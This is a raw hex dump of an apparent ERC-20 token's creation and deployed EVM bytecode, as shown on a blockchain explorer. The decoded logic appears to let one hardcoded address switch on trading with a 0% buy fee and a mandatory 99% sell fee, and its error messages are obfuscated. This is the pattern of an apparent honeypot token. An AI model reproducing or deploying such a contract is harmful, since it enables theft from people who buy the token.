000000000000000000000000000008152600401612027906133ed565b60405180910390fd5b5f8214612072576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206990613455565b60405180910390fd5b606381146120b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ac906134bd565b60405180910390fd5b8160098190555080600a819055506001600b5f6101000a81548160ff0219169083151502179055506001600b60016101000a81548160ff0219169083151502179055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a182826040516121299291906134db565b60405180910390a15050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b33600b60029054906101000a900460ff16806121dc5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061220b5750600b5f9054906101000a900460ff1615801561220a5750600b60019054906101000a900460ff165b5b806122cc5750600b5f9054906101000a900460ff1680156122725750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156122cb575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80612330575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561232f57505f600a54145b5b61236f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236690613115565b60405180910390fd5b8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156123ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e69061354c565b60405180910390fd5b600b60019054906101000a900460ff16156127ef575f808390505f600a54118015612467575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b80156124ba5750600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156124ff576124e760646124d9600a5487612b9990919063ffffffff16565b612c1090919063ffffffff16565b91506124fc8285612c6790919063ffffffff16565b90505b61254f8460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506126018160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516126e19190612f02565b60405180910390a35f8211156127e8576127418260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127df9190612f02565b60405180910390a35b50506129da565b61283f8260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506128f18260045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516129d19190612f02565b60405180910390a35b5050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612a6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a64906132b5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612adb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ad2906135b4565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f808303612ba9575f9050612c0a565b5f8284612bb691906135ff565b9050828482612bc5919061366d565b14612c05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bfc906136e7565b60405180910390fd5b809150505b92915050565b5f808211612c53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c4a9061374f565b60405180910390fd5b8183612c5f919061366d565b905092915050565b5f82821115612cab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ca2906137b7565b60405180910390fd5b8183612cb791906137d5565b905092915050565b5f808284612ccd9190613808565b905083811015612d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d0990613885565b60405180910390fd5b8091505092915050565b5f80fd5b5f819050919050565b612d3281612d20565b8114612d3c575f80fd5b50565b5f81359050612d4d81612d29565b92915050565b5f60208284031215612d6857612d67612d1c565b5b5f612d7584828501612d3f565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612db5578082015181840152602081019050612d9a565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612dda82612d7e565b612de48185612d88565b9350612df4818560208601612d98565b612dfd81612dc0565b840191505092915050565b5f6020820190508181035f830152612e208184612dd0565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612e5182612e28565b9050919050565b612e6181612e47565b8114612e6b575f80fd5b50565b5f81359050612e7c81612e58565b92915050565b5f8060408385031215612e9857612e97612d1c565b5b5f612ea585828601612e6e565b9250506020612eb685828601612d3f565b9150509250929050565b5f8115159050919050565b612ed481612ec0565b82525050565b5f602082019050612eed5f830184612ecb565b92915050565b612efc81612d20565b82525050565b5f602082019050612f155f830184612ef3565b92915050565b5f805f60608486031215612f3257612f31612d1c565b5b5f612f3f86828701612e6e565b9350506020612f5086828701612e6e565b9250506040612f6186828701612d3f565b9150509250925092565b5f60ff82169050919050565b612f8081612f6b565b82525050565b5f602082019050612f995f830184612f77565b92915050565b5f60208284031215612fb457612fb3612d1c565b5b5f612fc184828501612e6e565b91505092915050565b612fd381612e47565b82525050565b5f602082019050612fec5f830184612fca565b92915050565b5f806040838503121561300857613007612d1c565b5b5f61301585828601612d3f565b925050602061302685828601612d3f565b9150509250929050565b5f806040838503121561304657613045612d1c565b5b5f61305385828601612e6e565b925050602061306485828601612e6e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806130b257607f821691505b6020821081036130c5576130c461306e565b5b50919050565b7f3142414c44302e350000000000000000000000000000000000000000000000005f82015250565b5f6130ff600883612d88565b915061310a826130cb565b602082019050919050565b5f6020820190508181035f83015261312c816130f3565b9050919050565b7f3342414c44302e350000000000000000000000000000000000000000000000005f82015250565b5f613167600883612d88565b915061317282613133565b602082019050919050565b5f6020820190508181035f8301526131948161315b565b9050919050565b7f3442414c44302e352d00000000000000000000000000000000000000000000005f82015250565b5f6131cf600983612d88565b91506131da8261319b565b602082019050919050565b5f6020820190508181035f8301526131fc816131c3565b9050919050565b7f2d3542414c44302e3500000000000000000000000000000000000000000000005f82015250565b5f613237600983612d88565b915061324282613203565b602082019050919050565b5f6020820190508181035f8301526132648161322b565b9050919050565b7f3242414c44302e350000000000000000000000000000000000000000000000005f82015250565b5f61329f600883612d88565b91506132aa8261326b565b602082019050919050565b5f6020820190508181035f8301526132cc81613293565b9050919050565b7f42414c44302e35333200000000000000000000000000000000000000000000005f82015250565b5f613307600983612d88565b9150613312826132d3565b602082019050919050565b5f6020820190508181035f830152613334816132fb565b9050919050565b7f343442414c44302e3500000000000000000000000000000000000000000000005f82015250565b5f61336f600983612d88565b915061337a8261333b565b602082019050919050565b5f6020820190508181035f83015261339c81613363565b9050919050565b7f353542414c44302e3500000000000000000000000000000000000000000000005f82015250565b5f6133d7600983612d88565b91506133e2826133a3565b602082019050919050565b5f6020820190508181035f830152613404816133cb565b9050919050565b7f3642414c44302e353100000000000000000000000000000000000000000000005f82015250565b5f61343f600983612d88565b915061344a8261340b565b602082019050919050565b5f6020820190508181035f83015261346c81613433565b9050919050565b7f42414c44302e35323133000000000000000000000000000000000000000000005f82015250565b5f6134a7600a83612d88565b91506134b282613473565b602082019050919050565b5f6020820190508181035f8301526134d48161349b565b9050919050565b5f6040820190506134ee5f830185612ef3565b6134fb6020830184612ef3565b9392505050565b7f42414c44302e35313331330000000000000000000000000000000000000000005f82015250565b5f613536600b83612d88565b915061354182613502565b602082019050919050565b5f6020820190508181035f8301526135638161352a565b9050919050565b7f42414c44302e3542414c44302e3533786342414c44302e3500000000000000005f82015250565b5f61359e601883612d88565b91506135a98261356a565b602082019050919050565b5f6020820190508181035f8301526135cb81613592565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61360982612d20565b915061361483612d20565b925082820261362281612d20565b91508282048414831517613639576136386135d2565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61367782612d20565b915061368283612d20565b92508261369257613691613640565b5b828204905092915050565b7f42414c44302e3542414c44302e3542414c44302e3520000000000000000000005f82015250565b5f6136d1601683612d88565b91506136dc8261369d565b602082019050919050565b5f6020820190508181035f8301526136fe816136c5565b9050919050565b7f42414c44302e3542414c44302e3542414c44302e3542414c44302e35000000005f82015250565b5f613739601c83612d88565b915061374482613705565b602082019050919050565b5f6020820190508181035f8301526137668161372d565b9050919050565b7f42414c44302e35000000000000000000000000000000000000000000000000005f82015250565b5f6137a1600783612d88565b91506137ac8261376d565b602082019050919050565b5f6020820190508181035f8301526137ce81613795565b9050919050565b5f6137df82612d20565b91506137ea83612d20565b9250828203905081811115613802576138016135d2565b5b92915050565b5f61381282612d20565b915061381d83612d20565b9250828201905080821115613835576138346135d2565b5b92915050565b7f42414c44302e3542414c44302e350000000000000000000000000000000000005f82015250565b5f61386f600e83612d88565b915061387a8261383b565b602082019050919050565b5f6020820190508181035f83015261389c81613863565b905091905056fea2646970667358221220f9c43a56d56995f499e95b492bce031403d1d8f4d93b6bd872e0e18f5bc36e6e64736f6c634300081500330000000000000000000000009f28ad1d0760c9644cf682f888a993f40c6c7ec800000003b58e88c75313ec9d329eaaa18fb92f75215b170fffffffffffffffff
Deployed Bytecode
0x60806040526004361061014a575f3560e01c806370a08231116100b5578063a9059cbb1161006e578063a9059cbb14610454578063b390c0ab14610490578063c31c9c07146104b8578063dd62ed3e146104e2578063e4849b321461051e578063f2fde38b146105465761014a565b806370a082311461037a578063715018a6146103b65780638da5cb5b146103cc57806395d89b41146103f6578063a64e4f8a14610420578063a6f2ae3a1461044a5761014a565b80632b14ca56116101075780632b14ca561461026c578063313ce567146102965780633f4218e0146102c057806347062402146102fc57806347b5dd541461032657806364bcf5f4146103505761014a565b8063036978631461014e57806306fdde0314610176578063095ea7b3146101a057806318160ddd146101dc57806323b872dd1461020657806325e0e4d014610242575b5f80fd5b348015610159575f80fd5b50610174600480360381019061016f9190612d53565b61056e565b005b348015610181575f80fd5b5061018a6105bf565b6040516101979190612e08565b60405180910390f35b3480156101ab575f80fd5b506101c660048036038101906101c19190612e82565b61064a565b6040516101d39190612eda565b60405180910390f35b3480156101e7575f80fd5b506101f0610737565b6040516101fd9190612f02565b60405180910390f35b348015610211575f80fd5b5061022c60048036038101906102279190612f1b565b61073d565b6040516102399190612eda565b60405180910390f35b34801561024d575f80fd5b50610256611289565b6040516102639190612eda565b60405180910390f35b348015610277575f80fd5b5061028061129b565b60405161028d9190612f02565b60405180910390f35b3480156102a1575f80fd5b506102aa6112a1565b6040516102b79190612f86565b60405180910390f35b3480156102cb575f80fd5b506102e660048036038101906102e19190612f9f565b6112b3565b6040516102f39190612eda565b60405180910390f35b348015610307575f80fd5b506103106112d0565b60405161031d9190612f02565b60405180910390f35b348015610331575f80fd5b5061033a6112d6565b6040516103479190612f02565b60405180910390f35b34801561035b575f80fd5b506103646112dc565b6040516103719190612eda565b60405180910390f35b348015610385575f80fd5b506103a0600480360381019061039b9190612f9f565b6112ef565b6040516103ad9190612f02565b60405180910390f35b3480156103c1575f80fd5b506103ca611304565b005b3480156103d7575f80fd5b506103e0611450565b6040516103ed9190612fd9565b60405180910390f35b348015610401575f80fd5b5061040a611475565b6040516104179190612e08565b60405180910390f35b34801561042b575f80fd5b50610434611501565b6040516104419190612eda565b60405180910390f35b610452611514565b005b34801561045f575f80fd5b5061047a60048036038101906104759190612e82565b611b57565b6040516104879190612eda565b60405180910390f35b34801561049b575f80fd5b506104b660048036038101906104b19190612ff2565b611f5f565b005b3480156104c3575f80fd5b506104cc612135565b6040516104d99190612fd9565b60405180910390f35b3480156104ed575f80fd5b5061050860048036038101906105039190613030565b61215a565b6040516105159190612f02565b60405180910390f35b348015610529575f80fd5b50610544600480360381019061053f9190612d53565b61217a565b005b348015610551575f80fd5b5061056c60048036038101906105679190612f9f565b6129de565b005b3373ffffffffffffffffffffffffffffffffffffffff167fb6e8f04cf03b5aef7f64b05be34717ced7ad18d9e25d848dcd9542d070ce2ddb826040516105b49190612f02565b60405180910390a250565b5f80546105cb9061309b565b80601f01602080910402602001604051908101604052809291908181526020018280546105f79061309b565b80156106425780601f1061061957610100808354040283529160200191610642565b820191905f5260205f20905b81548152906001019060200180831161062557829003601f168201915b505050505081565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516107259190612f02565b60405180910390a36001905092915050565b60025481565b5f83600b60029054906101000a900460ff16806107a05750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806107cf5750600b5f9054906101000a900460ff161580156107ce5750600b60019054906101000a900460ff165b5b806108905750600b5f9054906101000a900460ff1680156108365750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561088f575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806108f4575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156108f357505f600a54145b5b610933576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092a90613115565b60405180910390fd5b8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156109b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109aa9061317d565b60405180910390fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610a6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a65906131e5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad39061324d565b60405180910390fd5b5f80849050600b60019054906101000a900460ff168015610afe57505f600a54115b8015610b57575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b8015610baa5750600c5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610bef57610bd76064610bc9600a5488612b9990919063ffffffff16565b612c1090919063ffffffff16565b9150610bec8286612c6790919063ffffffff16565b90505b610c3f8560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610cd08160045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d6e9190612f02565b60405180910390a35f821115610fbd575f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f90508073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603610ec457610e198360045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610eb79190612f02565b60405180910390a3610fbb565b610f148360045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fb29190612f02565b60405180910390a35b505b3373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415801561109157507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414155b1561127b576111218560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516112729190612f02565b60405180910390a35b600193505050509392505050565b600b5f9054906101000a900460ff1681565b600a5481565b60035f9054906101000a900460ff1681565b600c602052805f5260405f205f915054906101000a900460ff1681565b60095481565b60085481565b600b60029054906101000a900460ff1681565b6004602052805f5260405f205f915090505481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611393576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138a906132b5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600180546114829061309b565b80601f01602080910402602001604051908101604052809291908181526020018280546114ae9061309b565b80156114f95780601f106114d0576101008083540402835291602001916114f9565b820191905f5260205f20905b8154815290600101906020018083116114dc57829003601f168201915b505050505081565b600b60019054906101000a900460ff1681565b33600b60029054906101000a900460ff16806115765750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806115a55750600b5f9054906101000a900460ff161580156115a45750600b60019054906101000a900460ff165b5b806116665750600b5f9054906101000a900460ff16801561160c5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611665575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806116ca575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156116c957505f600a54145b5b611709576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170090613115565b60405180910390fd5b5f341161174b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117429061331d565b60405180910390fd5b5f3490505f60095411156119f9575f611782606461177460095485612b9990919063ffffffff16565b612c1090919063ffffffff16565b90505f6117988284612c6790919063ffffffff16565b905061180b8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118eb9190612f02565b60405180910390a35f8211156119f25761194b8260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119e99190612f02565b60405180910390a35b5050611b53565b611a6a8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b4a9190612f02565b60405180910390a35b5050565b5f33600b60029054906101000a900460ff1680611bba5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611be95750600b5f9054906101000a900460ff16158015611be85750600b60019054906101000a900460ff165b5b80611caa5750600b5f9054906101000a900460ff168015611c505750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611ca9575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80611d0e575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015611d0d57505f600a54145b5b611d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4490613115565b60405180910390fd5b8260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015611d96575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611dcd575f80fd5b611e1d8360045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611eae8360045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f4c9190612f02565b60405180910390a3600191505092915050565b739f28ad1d0760c9644cf682f888a993f40c6c7ec873ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd890613385565b60405180910390fd5b600b5f9054906101000a900460ff1615612030576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612027906133ed565b60405180910390fd5b5f8214612072576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206990613455565b60405180910390fd5b606381146120b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ac906134bd565b60405180910390fd5b8160098190555080600a819055506001600b5f6101000a81548160ff0219169083151502179055506001600b60016101000a81548160ff0219169083151502179055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a182826040516121299291906134db565b60405180910390a15050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b33600b60029054906101000a900460ff16806121dc5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061220b5750600b5f9054906101000a900460ff1615801561220a5750600b60019054906101000a900460ff165b5b806122cc5750600b5f9054906101000a900460ff1680156122725750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156122cb575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80612330575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561232f57505f600a54145b5b61236f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236690613115565b60405180910390fd5b8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156123ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e69061354c565b60405180910390fd5b600b60019054906101000a900460ff16156127ef575f808390505f600a54118015612467575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b80156124ba5750600c5f3373ffffffffffffffffffffffffffffffffffffffff1673